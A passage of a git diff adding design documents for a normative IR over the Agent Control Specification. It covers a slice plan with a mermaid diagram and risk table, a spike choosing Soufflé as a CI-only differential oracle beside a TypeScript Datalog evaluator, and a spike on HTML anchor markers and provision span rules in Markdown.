work"* — deliberately last, because the mechanism it applies was proven on twenty semantically diverse specimens first. + +**What could still go wrong here, and how it surfaces:** `N32: flagInexpressible()` gets exercised at scale for the first time. If provisions 21–203 contain a semantics the V5 vocabulary cannot type, they are **flagged rather than silently approximated** (R3.6), and the flag is a visible count in the census rather than a quiet weakening. That is the whole reason R3.6 exists, and this is the slice that tests it. + +**Expect a non-empty flagged set.** A vocabulary derived from 20 specimens meeting 180 more will miss something. The deliverable is that the misses are enumerated, not that there are none. + +--- + +## V8: Upstream + +**Demo:** `#acs-req-0037` resolves as a deep link on the published spec site, scrolling to *"Required at session start, before any hook traffic."* The sentence reads exactly as it did before. Nothing in the rendered page shows an identifier. + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| U8 | P1 | `ir/markers` | `acs-ir markers patch` | invoke | → N60 | — | +| U26 | P6 | `spec/acs` | provision anchor deep link — `…/specification/#acs-req-0037` | click | — | — | +| U27 | P6 | `spec/acs` | the normative sentence, unchanged and marker-free to the eye | render | — | — | +| U28 | P7 | governance | Discussion — mechanism proposal plus 5 worked provisions (R8.6) | author | → U29 | — | +| U29 | P7 | governance | proof-of-concept PR — those 5 provisions only | author | → U30 | — | +| U30 | P7 | governance | bulk marker PR — the materialized overlay | author | → P6 | — | +| N60 | P1 | `ir/markers` | `materializeMarkerPatch()` — overlay → git patch against the spec repo | call | → P7 | — | + +**This slice's three steps do not share a timeline, and that matters.** `CONTRIBUTING.md` routes spec changes through a Discussion first, and community response is the long lead — not our implementation. + +- **U28 should be opened as soon as V5 lands**, because that is the first moment the Discussion can show the full chain the proposal is about: prose ↕ ID ↕ predicate ↕ rule ↕ tests, on five provisions from different families. Waiting until V7 wastes weeks of calendar on nothing. +- **U29** follows acceptance of the mechanism. +- **U30** needs V7, since the bulk patch is the completed overlay. + +So V8 is listed last because it *completes* last, but its first step is scheduled off V5. Attribution on all three: Ariel's `afogel` identity, no Claude session attribution. + +**The overlay retires itself here.** S2 fed both the local applier (V2) and this patch. Once U30 merges, S2 is deleted and S3 becomes S1 — the extractor reads the submodule directly (E3.3). + +--- + +## Slice assignment + +```mermaid +flowchart TB + subgraph V1["V1: Corpus inventoried"] + U3["U3: census"] + U19["U19: source census"] + U20["U20: provision census"] + U21["U21: unbound table"] + U33["U33: edge audit"] + N10["N10: runCensus"] + N11["N11: sourceCensus"] + N12["N12: provisionCensus"] + N13["N13: keywordScan"] + N14["N14: calloutScan"] + N19["N19: seedDependsOn"] + N52["N52: renderCensus"] + S1[("S1: pinned corpus")] + S11[("S11: census")] + end + + subgraph V2["V2: Twenty provisions marked"] + U1["U1: markers apply"] + U2["U2: extract"] + U7["U7: render"] + U12["U12: index"] + U13["U13: detail"] + U14["U14: coverage"] + N1["N1: applyOverlay"] + N2["N2: resolveQuote"] + N3["N3: allocateId"] + N4["N4: extractProvisions"] + N5["N5: readSpan"] + N6["N6: hashText"] + N15["N15: loadCatalog"] + N22["N22: markerPairing"] + N50["N50: renderIndex"] + S2[("S2: overlay")] + S3[("S3: marked corpus")] + S4[("S4: manifest")] + S5[("S5: semantic layer")] + S6[("S6: ids")] + end + + subgraph V3["V3: Staleness propagates"] + U10["U10: stale list"] + U32["U32: migration worklist"] + N16["N16: checkStaleness"] + N17["N17: walkDependsOn"] + N18["N18: checkRestatement"] + S12[("S12: stale.json")] + end + + subgraph V4["V4: Spec PR polices itself"] + U4["U4: lint"] + U9["U9: lint failures"] + U22["U22: changed + stale"] + U23["U23: added, no test"] + U24["U24: no tombstone"] + U25["U25: unmarked"] + N20["N20: specLint"] + N21["N21: unmarkedKeyword"] + N23["N23: tombstone"] + N24["N24: duplicateId"] + N25["N25: unknownCitation"] + N26["N26: schemaRefs"] + N27["N27: impactComment"] + N61["N61: spec-lint CI"] + end + + subgraph V5["V5: Predicates compile, engines agree"] + U5["U5: compile"] + U31["U31: divergence report"] + N30["N30: loadVocabulary"] + N31["N31: compilePredicate"] + N32["N32: flagInexpressible"] + N33["N33: emitTlaInvariants"] + N34["N34: emitSouffle"] + N35["N35: emitEvaluatorRules"] + N36["N36: requireEvidenceColumns"] + N40["N40: verify"] + N41["N41: normalizeTrace"] + N44["N44: evaluate"] + N62["N62: apt install souffle"] + N63["N63: differentialCheck"] + S7[("S7: vocabulary")] + S8[("S8: rules.dl published")] + S9[("S9: trace facts")] + S14[("S14: fixtures + tests")] + S15[("S15: invariants.tla")] + S16[("S16: rules.json")] + end + + subgraph V6["V6: Conformance report"] + U6["U6: verify trace"] + U11["U11: verdict summary"] + U15["U15: verdict row"] + U16["U16: profile summary"] + U17["U17: evidence detail"] + U18["U18: non-testable roster"] + U34["U34: exclusion roster"] + N42["N42: externalFacts"] + N43["N43: validateSchemas"] + N45["N45: scopeByProfile"] + N46["N46: applyModality"] + N47["N47: attachEvidence"] + N51["N51: renderReport"] + S10[("S10: external facts")] + S13[("S13: 48 schemas")] + end + + subgraph V7["V7: All 203"] + wide["no new affordances — N32 exercised at scale"] + end + + subgraph V8["V8: Upstream"] + U8["U8: markers patch"] + U26["U26: live deep link"] + U27["U27: sentence unchanged"] + U28["U28: Discussion"] + U29["U29: PoC PR"] + U30["U30: bulk marker PR"] + N60["N60: materializePatch"] + end + + U3 --> N10 + N10 --> N11 + N10 --> N12 + N12 --> N13 + N12 --> N14 + N12 --> N19 + S1 -.-> N13 + S1 -.-> N14 + S1 -.-> N19 + N10 --> S11 + S11 -.-> N52 + N52 -.-> U19 + N52 -.-> U20 + N52 -.-> U21 + N19 -.-> U33 + + U1 --> N1 + S2 -.-> N1 + S1 -.-> N2 + N1 --> N2 + N1 --> N3 + N3 --> S6 + N1 --> S3 + U2 --> N4 + S3 -.-> N5 + N4 --> N5 + N4 --> N6 + N4 --> S4 + S4 -.-> N15 + S5 -.-> N15 + U7 --> N50 + N15 -.-> N50 + N50 -.-> U12 + N50 -.-> U13 + N50 -.-> U14 + N22 -.-> U9 + + N15 -.-> N16 + N16 --> N17 + N16 --> N18 + N16 --> S12 + S12 -.-> U10 + N18 -.-> U32 + N52 -.-> U32 + + U4 --> N20 + N61 --> N20 + N20 --> N21 + N20 --> N22 + N20 --> N23 + N20 --> N24 + N20 --> N25 + N20 --> N26 + N20 --> N16 + N20 --> N27 + N20 -.-> U9 + N27 --> U22 + N27 --> U23 + N27 --> U24 + N27 --> U25 + S6 -.-> N23 + S13 -.-> N26 + S14 -.-> N25 + + U5 --> N31 + S7 -.-> N30 + N30 -.-> N31 + N15 -.-> N31 + N31 --> N32 + N31 --> N33 + N31 --> N34 + N31 --> N35 + N31 --> N36 + N32 -.-> U9 + N36 -.-> U9 + N33 --> S15 + N34 --> S8 + N35 --> S16 + N41 --> S9 + S16 -.-> N44 + S9 -.-> N44 + N40 --> N41 + N40 --> N44 + N62 --> N63 + S8 -.-> N63 + S14 -.-> N63 + N44 -.-> U31 + N63 -.-> U31 + + U6 --> N40 + N40 --> N42 + N40 --> N43 + N42 --> S10 + S10 -.-> N44 + S13 -.-> N43 + N43 -.-> N45 + N44 -.-> N45 + N45 --> N46 + N46 --> N47 + N47 -.-> U11 + N47 -.-> U15 + N47 -.-> U17 + N51 -.-> U16 + N51 -.-> U18 + N51 -.-> U34 + + N32 -.-> wide + + U8 --> N60 + S2 -.-> N60 + N60 --> U28 + U28 --> U29 + U29 --> U30 + U30 --> U26 + U30 --> U27 + + style V1 fill:#e8f5e9,stroke:#4caf50,stroke-width:2px + style V2 fill:#e3f2fd,stroke:#2196f3,stroke-width:2px + style V3 fill:#fff3e0,stroke:#ff9800,stroke-width:2px + style V4 fill:#f3e5f5,stroke:#9c27b0,stroke-width:2px + style V5 fill:#fff8e1,stroke:#ffc107,stroke-width:2px + style V6 fill:#e0f7fa,stroke:#00acc1,stroke-width:2px + style V7 fill:#fce4ec,stroke:#e91e63,stroke-width:2px + style V8 fill:#ede7f6,stroke:#673ab7,stroke-width:2px + + classDef ui fill:#ffb6c1,stroke:#d87093,color:#000 + classDef nonui fill:#d3d3d3,stroke:#808080,color:#000 + classDef store fill:#e6e6fa,stroke:#9370db,color:#000 + class U1,U2,U3,U4,U5,U6,U7,U8,U9,U10,U11,U12,U13,U14,U15,U16,U17,U18,U19,U20,U21,U22,U23,U24,U25,U26,U27,U28,U29,U30,U31,U32,U33,U34 ui + class N1,N2,N3,N4,N5,N6,N10,N11,N12,N13,N14,N15,N16,N17,N18,N19,N20,N21,N22,N23,N24,N25,N26,N27,N30,N31,N32,N33,N34,N35,N36,N40,N41,N42,N43,N44,N45,N46,N47,N50,N51,N52,N60,N61,N62,N63 nonui + class S1,S2,S3,S4,S5,S6,S7,S8,S9,S10,S11,S12,S13,S14,S15,S16 store +``` + +## Coverage check + +All 96 affordances from Detail E are assigned to exactly one slice: **34 UI, 46 code, 16 stores.** + +| Slice | U | N | S | +|---|---:|---:|---:| +| V1 | 5 | 7 | 2 | +| V2 | 6 | 9 | 5 | +| V3 | 2 | 3 | 1 | +| V4 | 6 | 8 | 0 | +| V5 | 2 | 12 | 6 | +| V6 | 7 | 6 | 2 | +| V7 | 0 | 0 | 0 | +| V8 | 6 | 1 | 0 | +| **Total** | **34** | **46** | **16** | + +## Risks and dependencies + +| # | Risk | Slice | Handling | +|---|------|-------|----------| +| 1 | Writing our own fixpoint evaluator yields a wrong conformance verdict | V5 | The differential oracle (N62/N63) ships in the same slice, per X4. R3.3 also bounds the burden: the evaluator implements only the subset our compiler emits, not Datalog | +| 2 | The V5 vocabulary cannot express provisions 21–203 | V7 | `N32: flagInexpressible()` flags rather than approximates (R3.6). Expect a non-empty set; the deliverable is that misses are enumerated | +| 3 | Upstream declines the marker mechanism | V8 | V1–V7 all run against the pinned submodule via the E3 overlay (R8.7). A decline costs the citable-anchor benefit and leaves the IR fully functional locally. This is why the Discussion precedes the bulk PR | +| 4 | The Discussion stalls on calendar, not on merit | V8 | Open U28 as soon as V5 lands, not at V7. Community response is the long lead | +| 5 | `S7` has no producer or validator | V5 | Vocabulary authored by hand; the compiler's type checker is the validator. Whether a separate `vocabulary lint` is needed is what V5 finds out | +| 6 | `S15` has no consumer — the TLA+ model is a later work stream | V5 | Emitted so R6.2 holds; explicitly unread by V1–V8. Recorded, not pretended otherwise | +| 7 | Spec editors add a normative statement in a form the census cannot see (a new table column, a new registry) | V4, V7 | `N21` catches RFC 2119 keywords only. Keyword-free normative content still needs the editor-maintained supplementary list (E6/D6). The census reports its own blind spot rather than implying completeness | +| 8 | Three `concepts/` callouts are Guardian obligations at the wrong altitude by `README.md:14`'s own rule | V2, V7 | Surfaced as data in the provision index (node type `Requirement` on a concepts page), not argued. Worth an upstream issue alongside the missing `## 9.` heading | + +## Findings for upstream, accumulated + +Not slice work, but discovered by it and worth reporting to the ACS maintainers independently of the marker proposal: + +| # | Finding | Source | +|---|---|---| +| 1 | `specification.md` has **no `## 9.` heading**. §9.1 and §9.2 exist and are linked from §6 and §8.4, but §9's preamble — approver authentication, Guardian identity verification, *"Approvers MUST NOT return ASK"* — is stranded under §8.6 *Chain head publication* | Shaping survey | +| 2 | Three `concepts/` `(normative)` callouts are obligations on the Guardian, which `concepts/README.md:14`'s altitude rule places in the pillars | [X5](./spike-provision-taxonomy.md) | +| 3 | `conformance.md` and `specification.md` §7 state the ACS-Provenance all-or-nothing rule in near-identical prose — a restatement pair the `README.md:33` migration would resolve | X3, X5 | diff --git a/docs/shaping/spike-engine-dependency.md b/docs/shaping/spike-engine-dependency.md new file mode 100644 index 00000000..0f4f996e --- /dev/null +++ b/docs/shaping/spike-engine-dependency.md @@ -0,0 +1,163 @@ +--- +shaping: true +--- + +# X4 Spike: Datalog engine as a build dependency + +Spike for open decision **D-i** in [`normative-ir-shaping.md`](./normative-ir-shaping.md). Constrains what any slice can demo on a laptop, and therefore blocks slicing. + +## Context + +Shape E's part **E7** compiles IR predicates to Soufflé. Soufflé is a C++ toolchain. This repo is Bun/TypeScript, and the sibling shaping doc's **R7.1** — *"Starts with one command on a laptop"* — is a Must-have for the reference implementation. If the IR's verify path needs a compiler the contributor must install, the IR either breaks that property or has no laptop demo, and either outcome changes what a first slice can show. + +## Goal + +Learn what a Datalog engine actually costs on each platform this repo already supports, what the repo's existing dependency posture really is, and whether Soufflé specifically is required by any requirement — so the engine choice is made on measured constraints rather than on the source recommendation's default. + +## Questions + +| # | Question | +|---|----------| +| **X4-Q1** | What does the repo require on a contributor's machine today, and does it already ship native code? | +| **X4-Q2** | How does Soufflé install on each platform — macOS arm64/x64, Linux x64/arm64, Windows? Prebuilt or source build? | +| **X4-Q3** | What is the actual fact volume a verify run processes? Does Soufflé's scale advantage apply? | +| **X4-Q4** | Is Soufflé's provenance/explanation facility — the source's stated reason for choosing it — required by R3.4, or replaceable? | +| **X4-Q5** | What in-process alternatives are reachable from Bun, and what do they cost in supply-chain and dialect terms? | +| **X4-Q6** | If the engine is not Soufflé locally, what is lost, and can it be recovered another way? | + +## Acceptance + +Complete when we can state, per platform, what a contributor must install to run `acs-ir verify`; whether that satisfies the sibling R7.1; which requirements depend on Soufflé specifically versus on Datalog semantics generally; and what the resulting constraint on slice 1 is. + +--- + +## Findings + +### X4-Q1 — The repo's real dependency posture + +The setup story today is `bun install` (Bun 1.3.14). No compiler, no system package. + +But the repo is **not** free of native code. `agent-control-specification@0.3.1-beta.0` declares **ten** `optionalDependencies`, all prebuilt binaries: + +| Platform | Core engine | Bundled OPA | +|---|---|---| +| `linux-x64-gnu` | ✅ | ✅ | +| `linux-arm64-gnu` | ✅ | ✅ | +| `darwin-x64` | ✅ | ✅ | +| `darwin-arm64` | ✅ | ✅ | +| `win32-x64-msvc` | ✅ | ✅ (`win32-x64`) | + +Confirmed on disk: `node_modules/…/agent-control-specification-darwin-arm64/agent-control-specification.darwin-arm64.node`. + +**This corrects the framing in D-i.** The repo's invariant is not "no native code." It is: + +> **No build toolchain on the contributor's machine. Every native artifact arrives prebuilt through the package manager, for five platforms.** + +That is the bar a Datalog engine has to clear, and it is a *stricter and clearer* bar than "no native code" — the AGT SDK is the precedent, and it covers five platforms. + +### X4-Q2 — Soufflé installs unevenly, and covers this repo's platforms badly + +**Official releases** (`souffle-lang/souffle`, tag `2.5`, published 2025-03-24 — roughly 16 months stale as of this spike): + +| Asset | Size | Downloads | +|---|---:|---:| +| `x86_64-ubuntu-2404-souffle-2.5-Linux.deb` | 4.6 MB | 9,901 | +| `x86_64-ubuntu-2204-souffle-2.5-Linux.deb` | 4.5 MB | 3,430 | +| `x86_64-fedora-{39,40,41}`, `x86_64-oraclelinux-9` RPMs | ~3 MB each | 12–49 | + +**No macOS asset. No arm64 asset of any kind.** + +**Homebrew** (`souffle` 2.5): zero runtime dependencies — a genuinely self-contained binary, which is a point in its favour. But the bottle list is a single entry: **`arm64_tahoe`**. Build dependencies for everyone else: `bison`, `cmake`, `mcpp`, `pkgconf`. Install analytics: **23 installs in 30 days, 175 in 365 days.** + +Mapping that onto the five platforms the repo already supports: + +| Platform | Soufflé availability | +|---|---| +| `darwin-arm64` on macOS 26 | ✅ brew bottle (this machine: arm64, macOS 26.5.1) | +| `darwin-arm64` on macOS ≤ 25 | ❌ source build | +| `darwin-x64` | ❌ source build | +| `linux-x64` | ✅ official `.deb` / `.rpm` | +| `linux-arm64` | ❌ source build | +| `win32-x64` | ❌ nothing | + +**One of six configurations is covered by a prebuilt on macOS, and it is the one this laptop happens to be.** That is the worst possible sampling error: it would look fine here and break for most contributors. A standards project whose conformance verifier requires `bison` and `cmake` on Windows, Intel Mac, and ARM Linux has a reproducibility problem, not a packaging inconvenience. + +### X4-Q3 — The workload is tiny, so Soufflé's advantage does not apply + +The repo's actual envelope log, `.acs/envelopes.jsonl`, contains **8 entries**. A realistic full session is tens to low hundreds of hooks; a normalized fact set is perhaps 10²–10³ tuples, against ~200 generated rules. + +Soufflé exists for 10⁶–10⁹ tuples — whole-program points-to analysis, binary analysis, large security queries. It compiles Datalog to parallel C++ for exactly that reason. **At 10³ facts none of that machinery pays for itself**, and the compile step (Soufflé's own C++ codegen and `g++` invocation, unless run in interpreter mode) is pure latency on a verify run that should be sub-second. + +### X4-Q4 — Provenance is replaceable, and the replacement is better here + +The source's stated reason for Soufflé was its provenance/explanation facility: *"you want not merely `false`, but 'this requirement failed because of these facts.'"* That maps to **R3.4**. + +Soufflé's `--provenance` produces an interactive proof tree for a derived tuple — built for debugging deep mutually-recursive analyses where a tuple's derivation is many rule-firings deep. + +ACS conformance rules are not that shape. A provision's rule is typically one join with a negated existential: + +``` +Violation(req, session, subject, witness) :- + Hook(session, seq, method), + !HandshakeBefore(session, seq), + req = "ACS-REQ-0037", subject = session, witness = method. +``` + +**The witnesses are the join variables.** Projecting them into the output relation gives R3.4 directly, with no engine feature involved — it is a rule-authoring discipline the compiler can *enforce* (every generated `Violation` must bind its evidence columns), which is strictly better than a facility the compiler cannot check. + +For the genuinely recursive family — §7.1 trust monotonicity over transitive `derived_from`, §8.3 `max_lineage_depth` — the lineage chain is expressible as path-carrying transitive closure: + +``` +Lineage(child, ancestor, path) :- DerivedFrom(child, ancestor), path = cat(child, "<-", ancestor). +Lineage(child, ancestor, path) :- Lineage(child, mid, p), DerivedFrom(mid, ancestor), path = cat(p, "<-", ancestor). +``` + +That puts `p7<-p5<-p3<-p1` **in the conformance report as data**, rather than requiring an auditor to open an interactive Soufflé session. For a published conformance report, data beats a debugger. **R3.4 does not depend on Soufflé.** + +### X4-Q5 — In-process alternatives + +**`cozo-node@0.7.6`** — Rust embedded Datalog, 12.4 kB wrapper, prebuilt binaries via `@mapbox/node-pre-gyp`. Delivery model matches the AGT SDK precedent, which is the strongest thing about it. Against it: a single maintainer, last published over a year ago, `node-pre-gyp` is itself legacy, and **CozoScript is its own dialect** — so adopting it means the compiler emits a *third* language (IR → Soufflé for publication, → CozoScript for local, and the two must agree). Adding a dialect to avoid writing an evaluator is a poor trade. + +**`datascript@1.7.8`** — a Datalog *query* engine over an in-memory DB, ClojureScript-derived. Recursive rules and stratified negation are not its design centre. Wrong tool. + +**`datalogia@0.9.2`** — small, immature, no evidence of the semantics we need. + +**Write the evaluator.** Semi-naive fixpoint with stratified negation, transitive closure, and counting aggregation (needed for §6's bounded cascading deferrals). At 10³ facts, indexed naive iteration is adequate — performance is a non-issue. + +The decisive argument is **R3.3**: the IR predicate is the authority and the rules are *generated*. So the evaluator does not need to implement Datalog; it needs to implement **the subset the compiler emits**, which we choose. That bounds the correctness burden to something reviewable. + +The honest risk: a fixpoint bug in a *conformance verifier* yields a wrong conformance verdict, which is worse than no verdict. That risk is not hypothetical and it needs a mitigation, not a disclaimer. + +### X4-Q6 — What is lost, and how it comes back + +What Soufflé uniquely offers a **standards** deliverable is not speed or provenance. It is a **portable, human-readable, independently executable artifact**: a `.dl` file an external implementer or auditor can read and run without trusting or even installing our TypeScript. That is squarely in the spirit of the IR — the bridge between prose and executable semantics should not bottom out in one project's code. + +That value survives Soufflé never running on a contributor's laptop. Emission and execution are separable. + +And it supplies the mitigation X4-Q5 needs: **Soufflé as a differential oracle in CI.** GitHub Actions' default runner is `ubuntu-24.04 x86_64` — precisely the platform with the 4.6 MB official `.deb` and 9,901 downloads. Install it in CI only, run both engines over the same fixtures, and assert identical violation sets. + +This inverts the usual objection to two engines. Two engines are dangerous when both are authoritative and may silently disagree. Here one is generated-and-executed locally, the other is generated-and-executed as an oracle, **and agreement is asserted rather than assumed**. Divergence is a compiler bug that fails CI, not a semantic ambiguity nobody notices. + +--- + +## Resolution + +**D-i resolved: Soufflé is a CI-only oracle and a published artifact. It is never a local runtime dependency. Local evaluation is in-process TypeScript.** + +| Layer | Engine | Platform cost | +|---|---|---| +| Contributor laptop, `acs-ir verify` | In-process TS evaluator over the emitted rule set | `bun install`, nothing else — all five platforms | +| CI differential check | Soufflé 2.5 via official `.deb` on `ubuntu-24.04` | one `apt install`, 4.6 MB, x86_64 only, which is the runner | +| Published alongside the IR | Generated `.dl`, human-readable and citable | none — it is a file | + +**Consequences that bear on requirements:** + +- **Sibling R7.1 holds unchanged.** No toolchain is added to the laptop path. The repo's real invariant from X4-Q1 — everything prebuilt through the package manager — is preserved, and in fact strengthened, since the TS evaluator adds *no* binary at all. +- **R6.1 survives verbatim.** It requires Soufflé rule *generation*, not Soufflé execution. Reread as written, it is already satisfied by emission. +- **R3.4 does not depend on Soufflé** (X4-Q4). Evidence comes from evidence-projecting rules, which the compiler can enforce. +- **New requirement needed.** The differential-oracle mitigation is load-bearing, so it belongs in R rather than living only in this spike: **R3.8 — where the IR compiles to more than one backend, the backends are held equivalent by differential execution over shared fixtures, and divergence fails CI.** +- **X2's option (c) is dead, and (a) is weakened.** Authoring in Soufflé and extracting metadata (c) would make the laptop path depend on parsing Soufflé and would put authority in the `.dl` rather than the IR, against R3.3. Hand-written Soufflé per provision (a) cannot also produce the in-process rules without a translator — which is option (b) with extra steps. **X2 is therefore narrowed to (b): a typed DSL with multiple compile targets.** D-i has done part of X2's work. + +**Slicing constraint — the answer the decision was blocking:** + +> Slice 1 can demo `acs-ir verify` on a laptop with `bun install` alone. But the differential oracle must land **in the same slice that first emits a rule**, not later. A slice that ships an unverified hand-rolled fixpoint evaluator is a slice that ships a conformance verdict nobody has checked, and that is the one thing this project cannot ship. Soufflé-in-CI is therefore slice-1 scope, not a follow-up. diff --git a/docs/shaping/spike-marker-span.md b/docs/shaping/spike-marker-span.md new file mode 100644 index 00000000..90fb0c26 --- /dev/null +++ b/docs/shaping/spike-marker-span.md @@ -0,0 +1,197 @@ +--- +shaping: true +--- + +# X3 Spike: Marker span rule and table-cell viability + +Spike for [`normative-ir-shaping.md`](./normative-ir-shaping.md) parts **E2.2** and **E2.3**. Blocks R1.7, R1.8, R2.5. + +## Context + +Shape E addresses each normative provision with an invisible `` anchor placed in the spec prose, and generates the mechanical half of the IR — `text`, `text_hash`, `level` — by extracting from the marked corpus (E4). Two mechanisms are described but not understood: + +- **E2.2, the span rule.** An anchor marks where a provision *starts*. Nothing yet says where it *ends*. Without an end, there is no `text` and no `text_hash`, so R2.5 (generated, never hand-maintained) and R1.8 (one sentence, several provisions) both fail. +- **E2.3, table cells.** A disproportionate share of ACS's keyword-free normative content lives in table cells — §6's *Required fields*, §6.1's and §7's *Required* columns, §10.1's algorithm registry, §17.1's error registry. If raw HTML anchors do not survive Python-Markdown's table processing, the hardest half of the census (R1.7) has no mechanism at all. + +Both are cheap to answer empirically and expensive to guess at. Guessing wrong is the failure mode the source named: discovering at provision 150 that the model cannot express something, and having to reinterpret 149 entries. + +## Goal + +Learn, for every structural position a normative statement actually occupies in the ACS corpus, how a marker attaches to it and how far its text span runs — and which positions need a mechanism beyond a single opening anchor. + +## Questions + +| # | Question | +|---|----------| +| **X3-Q1** | What block types contain the 203 RFC 2119 keyword occurrences, and in what proportion — paragraph, table cell, list item, heading, blockquote, code fence? | +| **X3-Q2** | How many normative statements share a block with another normative statement? How many share a *sentence*? | +| **X3-Q3** | Does `` survive Python-Markdown under ACS's exact extension set — in a paragraph, mid-sentence, in a list item, in a table cell, and in a table cell that also carries inline code and a link? | +| **X3-Q4** | Is the rendered marker visually invisible — no stray glyph, no whitespace shift, no inherited link styling? | +| **X3-Q5** | Does *anchor to next-anchor-or-block-end* produce a correct span across the corpus, or are explicit end markers needed — and for which cases specifically? | +| **X3-Q6** | How is a provision spanning more than one block addressed — a stem sentence plus a bulleted list (§8.1, §12.2, §13)? | +| **X3-Q7** | Does the extractor need sentence segmentation? If so, where does it fail on ACS prose — `§` references, decimals, abbreviations, inline code containing periods, algorithm names like `ML-DSA-65+ECDSA-P256`? | + +## Acceptance + +Complete when we can describe, for every structural position normative statements occupy in this corpus, how a marker attaches, how far the span runs, and what the extractor must do to produce a stable `text_hash` — including an enumerated list of the cases a single opening anchor cannot handle and what mechanism each needs instead. + +--- + +## Findings + +Method: a structural census script over `spec/acs/docs/**.md` at `c259f57`, plus a minimal MkDocs project reproducing ACS's exact `markdown_extensions` block from `mkdocs.yml`, fed real ACS excerpts with markers inserted in every structural position. Both are reproducible; the census script is at `scratchpad/census.py` and the render harness at `scratchpad/render/`. + +### X3-Q1 — Where the 203 occurrences live + +| Block type | Occurrences | Blocks | Share | +|---|---:|---:|---:| +| paragraph | 145 | 85 | 71.4% | +| list item | 33 | 26 | 16.3% | +| table cell | 17 | 15 | 8.4% | +| blockquote | 8 | 6 | 3.9% | +| heading | 0 | 0 | — | +| code fence | 0 | 0 | — | +| **Total** | **203** | **132** | | + +**Zero occurrences inside inline `` `code` `` spans**, so there is no ambiguity about whether a keyword is being *used* or *mentioned*. Four block types, not six, and headings never carry normative force. + +### X3-Q2 — Multi-provision blocks and sentences + +| Granularity | Carrying >1 occurrence | Histogram | +|---|---|---| +| Blocks (132 with keywords) | **49 (37%)** | 1→83, 2→30, 3→16, 4→3 | +| Sentences (168 with keywords) | **30 (18%)** | 1→138, 2→26, 3→3, 4→1 | + +**A block-granular marker is insufficient for 37% of blocks; a sentence-granular marker for 18% of sentences.** This is the empirical case for R1.8 and the reason a mid-paragraph-placeable marker is required rather than merely convenient. + +**Caveat that changes the census design.** An occurrence count is an *upper bound* on provisions, not a provision count. `conformance.md` has *"A Guardian MAY refuse a session if the client does not declare a profile the Guardian's policy requires (e.g. a Guardian whose policy needs provenance MAY refuse a client that does not declare `acs-provenance`)"* — one rule plus a parenthetical restatement of itself, two occurrences. The provision census therefore needs an exclusion reason **`restatement_of: ACS-REQ-NNN`** alongside the non-testable and informative reasons, or the count will imply provisions that do not exist. + +### X3-Q3 / X3-Q4 — Marker survival and invisibility + +All **21** raw `` markers survived to HTML, in all eight positions tested: paragraph mid-sentence (three in one sentence), immediately before an inline code span, table cell with heavy inline code, table cell containing a link, table cell plain, unordered list item, ordered list item, nested list item, blockquote, and inside a bold lead-in. + +Rendered form is `` — empty element, **no `href`**, no text node. No glyph, no whitespace shift, and no link styling, because Material's link rules key off `href`. R7.5 holds. + +**attr_list is disqualified, for two independent reasons.** + +| attr_list form | Paragraph | Table cell | +|---|---|---| +| `{ #id }` trailing, same line | **leaks `{ #id }` as visible page text** | `` created | +| `{#id}` trailing, same line | **leaks `{#id}` as visible page text** | `` created | +| `{: #id }` trailing, same line | **leaks `{: #id }` as visible page text** | `` created | +| `{: #id }` on its own next line | `

` created | n/a | + +1. **Granularity.** Where it works it attaches to the whole block — `

` or `` — so it can address one provision per paragraph or per cell. §6.1's `policy_references` cell carries three; §10.3's sentence carries four. +2. **It fails loudly in the published output.** Three of four paragraph forms render the braces as visible text. An editor who puts the attribute list on the wrong line publishes `{ #acs-req-017 }` on agentcontrolstandard.ai. Raw `` has no such failure mode. + +**This corrects Fact 2 in the shaping doc**, which asserted `attr_list` markers "render as real, deep-linkable HTML anchors." True only for the own-line block form, and never at the granularity ACS needs. + +### X3-Q5 — Block-end termination over-captures + +| Block class | Count | Ends in non-normative prose | +|---|---:|---:| +| Exactly 1 keyword occurrence | 83 | **34 (41%)** | +| More than 1 occurrence | 49 | **12 (24%)** | +| **All keyword-bearing blocks** | **132** | **46 (35%)** | + +Over-capture is the common case, not the exception. Concrete instances: + +| Provision | Prose that block-end termination would absorb | +|---|---| +| `trust.md` — "A Guardian MUST NOT treat an asserted fact as attested." | "The basis of a fact is part of the fact; relying on a fact above its actual basis is an error." | +| `agents.md` — "An Approver MAY be human, agent, or service." | "It receives an ACS-shaped request and returns an ACS-shaped decision." | +| `conformance.md` — "A v0.1.0-conformant deployment MUST implement ACS-Core." | "ACS-Core comprises:" | +| `intent.md` — "Once an Intent is established, `Intent.parsed` MUST NOT be modified…" | "It may grow only through approver action via the ASK flow." | + +The four cases are not the same kind of thing, and that is the point: `trust.md`'s tail is rationale, `agents.md`'s is description, `conformance.md`'s is a stem introducing a list, and `intent.md`'s is arguably *normative continuation without a keyword*. Deciding which is which is editorial judgment, and no rule the extractor can apply gets it right 46 times. + +**Consequence: the terminator is mandatory, not conditional.** A "add a terminator where needed" rule would place an undetectable judgment on the editor in 35% of blocks. A mandatory pair is uniform, and unpaired anchors are lintable. + +### X3-Q6 — Multi-block provisions + +`` HTML comments survived in **all five** positions tested: paragraph, table cell, list item, blockquote, and **spanning blocks** — start anchor in the stem paragraph, terminator at the end of the final ordered-list item: + +```html +

The Guardian MUST instead substitute one of:

+
    +
  1. DEFER with timeout_decision: "deny".
  2. +
  3. DENY with reason_codes: ["approver_unavailable"].
  4. +
+

Trailing explanatory paragraph that must NOT be captured.

+``` + +The trailing paragraph is correctly excluded. This is §9.2's actual shape, and §13's, and §12.2's. + +An HTML comment is the right terminator rather than a second ``: it is invisible by construction, and it keeps the `id` namespace 1:1 with provisions, so every `acs-req-NNN` anchor in the rendered spec is a citable provision and nothing else. The asymmetry is principled — a provision's **start** must be addressable, its **end** need not be. + +An inline `` wrapper also works, but only within a single block: wrapping a paragraph plus a list requires `md_in_html`, which is not in ACS's extension set. Rejected for that reason. + +### X3-Q7 — Sentence segmentation is not needed + +**Not required by the mechanism.** With an explicit start anchor and an explicit terminator, span boundaries are stated, never inferred, so the extractor never segments sentences. + +This matters because segmentation on this corpus is genuinely fragile: the census script needed guards for `§10.3`-style references, decimals inside `300000`-adjacent prose and version strings, six abbreviations (`e.g`, `i.e`, `cf`, `vs`, `approx`, `Sec`), and algorithm names like `ML-DSA-65+ECDSA-P256`. That fragility is now confined to one analysis script and is absent from the production extractor. + +--- + +## Two corpus discoveries + +Neither was a spike question; both surfaced while classifying blocks and both change the shaping. + +### 1. `concepts/` already has a normative-callout convention + +Ten normative statements across six concept files use an explicit blockquote callout: `> **Title (normative).** …` + +| File | Callouts | +|---|---| +| `concepts/provenance.md` | *Lineage spans derivation*; *Provenance is framework-assigned* | +| `concepts/intent.md` | *Intent immutability*; *The only conformant path to 